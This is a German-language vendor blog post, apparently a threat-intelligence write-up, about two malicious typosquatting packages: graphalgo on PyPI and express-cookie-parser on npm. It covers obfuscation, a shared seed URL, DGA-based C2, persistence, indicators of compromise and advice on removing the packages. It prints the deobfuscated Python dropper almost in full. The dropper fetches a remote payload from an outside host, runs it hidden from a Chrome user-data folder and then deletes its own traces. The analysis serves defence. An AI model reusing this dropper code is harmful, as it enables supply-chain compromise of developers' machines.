Angriffe auf die Software-Lieferkette 2025 – Schadpakete – Schadpakete für Python – Schadpakete für NPM

Ein genauerer Blick auf Software-Supply-Chain-Angriffe 2025: PyPI- und npm-Kampagnen im Vergleich

Xygeni beobachtete kürzlich ein besorgniserregendes Muster in der Landschaft der Angriffe auf die Software-Lieferkette im Jahr 2025, das in zwei gängigen Paketmanagern auftaucht: PyPI , npmIm Rahmen unserer laufenden Bemühungen zur BedrohungsaufklärungXygenis Malware-Frühwarnung (MEW) Das Tool identifizierte eine eindeutige, aber methodisch ähnliche Instanz eines schädlichen Pakets, das zuvor in ein anderes Register hochgeladen wurde. Dieser Fall verdeutlicht, wie Bedrohungsakteure Angriffstechniken in verschiedenen Ökosystemen weiterentwickeln und wiederverwenden, insbesondere durch schädliche Python-Pakete , bösartige npm-Pakete, wodurch das Risiko steigt, dass schädliche Pakete in die Lieferketten von Open Source eindringen.

Xygenis MEW: Die Ähnlichkeiten erkennen

Das MEW-Tool von Xygeni wurde entwickelt, um schädliche Pakete, insbesondere solche im Zusammenhang mit Software-Supply-Chain-Angriffen im Jahr 2025, zu erkennen und zu kennzeichnen, sobald sie in Open-Source-Registern veröffentlicht werden. Es analysiert neue Pakete auf verdächtiges Verhalten.

In diesem Fall wurden zwei schädliche Python-Pakete (graphalgo auf PyPI) und bösartige npm-Pakete (express-cookie-parser auf npm).

Schädliche Python- und npm-Pakete bei Angriffen auf die Software-Lieferkette (2025)

Lassen Sie uns die gemeinsamen Merkmale untersuchen, die unsere Warnungen ausgelöst haben:

Tippfehler

Beide versuchten, beliebte bestehende Pakete zu imitieren.

  • graphalgo (PyPI)"Python-Paket zum Erstellen und Bearbeiten von Diagrammen und Netzwerken.” Hochgeladen von einem Benutzer namens „Larrytech“ Am 13. Juni 2025 präsentierte sich dieses Paket als PyPi-Alternative zum ursprünglichen, nicht bösartigen Graphalgo-Projekt, das später in Graphdict umbenannt wurde.
  • Express-Cookie-Parser (npm): Dieses Paket imitierte das bekannte Cookie-Parser-Paket und spiegelte sogar dessen README.md. Eine solche Nachahmung ist eine klassische Taktik, um bestehendes Vertrauen auszunutzen.

Verschleierung als erste Verteidigungslinie

Beide Pakete verschleierten ihren Schadcode in den Originaldateien. Für graphalgo, der verschleierte Code wurde gefunden in /utils/load_libraries.py. Im Fall von Express-Cookie-Parser, cookie-loader.min.js enthielt die verschleierte Nutzlast.

Diese erste Verschleierungsebene dient typischerweise dazu, oberflächliche Inspektionen und statische Analysen zu erschweren. Die Verschleierung war recht einfach: wiederholte ZLib-Komprimierung und Base64-Kodierung. Diese Art der Verschleierung zeigt deutlich, dass die Software versucht, ihr Verhalten zu verbergen. Zusammen mit anderen Beweisen ermöglichte dies Xygeni MEW, die Pakete als potenzielle Schadsoftware einzustufen. Während der Bestätigungsphase erstellten unsere Prüfer umgehend ein Deobfuskationsskript, das die offensichtlich bösartige Dropper-Phase enthüllte.

Mehrstufige Nutzlastlieferung und ein gemeinsamer Ursprungspunkt

Beide Pakete fungierten als erste „Tropfer”, die Bühne für die eigentliche Nutzlast. Sie teilten sich ein gemeinsames externes „Samen” Datei-URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Diese identische externe Seed-Datei ist ein starker Hinweis auf einen gemeinsamen Bedrohungsakteur. Interessanterweise scheint der Inhalt dieser Seed-Datei aus einfachen Umgebungsvariablen (z. B. JWT_SECRET, PORT) zu bestehen, was bei der Überprüfung möglicherweise zu falschen Erkenntnissen über ihre tatsächliche Funktion führt.

Dynamische C2-Auflösung mit einem DGA

Eine ausgeklügelte Taktik, die bei diesen Schadpaketen beobachtet wurde, ist die Verwendung eines Domain Generation Algorithm (DGA) zur dynamischen Auflösung des Command-and-Control-Servers (C2). Diese Technik, die 2025 häufig bei fortgeschrittenen Software-Supply-Chain-Angriffen eingesetzt wird, basiert auf einem SHA256-Hash, der aus dem Inhalt der Seed-Datei abgeleitet und mit anderen fest codierten Werten kombiniert wird. Dadurch ändert sich die C2-Infrastruktur häufig, was traditionelle Blacklists deutlich weniger effektiv macht. In diesem Fall verwendete die npm-Variante einen festen Wert von 496AAC7E als Teil seiner DGA-Logik.

Persistenz etablieren

Beide Angreifer versuchten, eine dauerhafte Präsenz auf betroffenen Systemen zu etablieren. Ihre Strategie bestand darin, eine Datei zu hinterlassen, startup.py (für PyPi) oder startup.js (für npm) in gemeinsame Google Chrome-Benutzerdatenverzeichnisse auf verschiedenen Betriebssystemen (Windows, Linux, macOS).

Bereinigung nach der Ausführung

Um Spuren zu minimieren, führten beide Schadskripte Bereinigungsvorgänge durch. Dazu gehörte das Löschen ihrer ursprünglichen Dropper-Dateien (load_libraries.py, cookie-loader.min.js) und das Ändern legitimer Paketdateien (__init__.py, index.js), um die Verweise auf die jetzt gelöschten Komponenten zu entfernen.

Indikatoren für eine Kompromittierung in bösartigen Python- und npm-Paketen

  • PyPI-Paket: graphalgo (veröffentlicht von larrytech, 13. Juni 2025)
  • npm-Paket: Express-Cookie-Parser (insbesondere Version 1.4.12)
  • Zugriff auf die Shared Seed-URL

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Permanente Dateinamen: startup.py (Python) startup.js (JavaScript)
  • Gemeinsame persistente Pfade (betriebssystemabhängig): Innerhalb von Google Chrome-Benutzerdatenverzeichnissen (z. B. AppData\Local\Google\Chrome\UserData\Scripts\ unter Windows, ~/.config/google-chrome/Scripts/ unter Linux usw.).

So schützen Sie sich vor Schadpaketen bei Angriffen auf die Software-Lieferkette 2025

Dieser Vorfall dient als wertvolle Fallstudie zur sich entwickelnden Bedrohungslandschaft von Angriffen auf die Software-Lieferkette im Jahr 2025. Er verdeutlicht, wie bösartige Python- und NPM-Pakete in vertrauenswürdige Ökosysteme eindringen und oft erst unentdeckt bleiben, wenn es zu spät ist. Deshalb sind frühzeitige Erkennung, intelligente Tools und proaktive Systemhygiene heute wesentliche Bestandteile jedes sicheren DevOps-Workflows. Entwicklern wird empfohlen, Folgendes zu beachten:

Abhängigkeitsüberprüfung

Wenn Ihre Projekte Folgendes umfassten: graphalgo or Express-Cookie-Parserwäre es ratsam, mit ihrer Entfernung fortzufahren.

  • Für PyPI: pip uninstall graphalgo
  • Für npm: npm uninstall express-cookie-parser

Systemhygiene

Erwägen Sie einen umfassenden Systemscan. Es ist auch ratsam, die gängigen Chrome-Benutzerdatenverzeichnispfade manuell auf unerwartete startup.py or startup.js Dateien.

Proaktive Sicherheitsmaßnahmen

  • Neue Abhängigkeiten bewerten: Richten Sie eine Routine ein, um neue Pakete vor der Integration gründlich zu bewerten, und konzentrieren Sie sich dabei auf Pakete unbekannter Herausgeber.
  • Integrieren Sie Sicherheitstools: Tools wie Xygenis MEW, zusammen mit anderen Software Composition Analysis (SCA)-Lösungen können durch die Identifizierung verdächtiger Verhaltensweisen und Schwachstellen eine wichtige Verteidigungsebene bieten.
  • Am wenigsten Privileg: Der Betrieb von Entwicklungsumgebungen nach dem Prinzip der geringsten Privilegien kann dazu beitragen, die potenziellen Auswirkungen eines Kompromisses zu begrenzen.
  • Netzwerkbewusstsein: Durch die Überwachung des ausgehenden Netzwerkverkehrs auf ungewöhnliche Verbindungen können manchmal von DGA generierte C2-Kommunikationen aufgedeckt werden.

Schlüsselkomponenten von load_libraries.py (von Graphalgo)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Verarbeitet das Abrufen von Dateien von angegebenen URLs.
  • run_process(): Führt externe Python-Skripte isoliert aus und unterdrückt die Ausgabe, um diskret zu bleiben.
  • get_output_file_path(): Bestimmt den idealen Systemspeicherort für die persistente Datei startup.py.
  • remove_self(): Orchestriert die Bereinigung der ursprünglichen schädlichen Dateien und Paketänderungen nach der Ausführung.
  • simple_shift_encrypt() / simple_shift_decrypt(): Benutzerdefinierte kryptografische Funktionen zum Verschleiern von Kommunikationskanälen, entscheidend für die DGA-Implementierung.
  • load_libraries(): Die zentrale Funktion, die den gesamten mehrstufigen Prozess koordiniert, vom ersten Download bis zur endgültigen Nutzlastausführung und Bereinigung.

Nachwirkungen

Wie bei anderen potenziell schädlichen Paketen, die von MEW identifiziert wurden, schützte die Abhängigkeits-Firewall sofort Benutzer, die diese schädlichen Pakete in ihre Abhängigkeiten einbinden würden. Nach der Bestätigung folgten wir den Benachrichtigungsverfahren für beide Registrierungsstellen, die nach der Überprüfung beide Pakete entfernten.

SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
7-Tage kostenlose Testversion
Keine Kreditkarte erforderlich

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite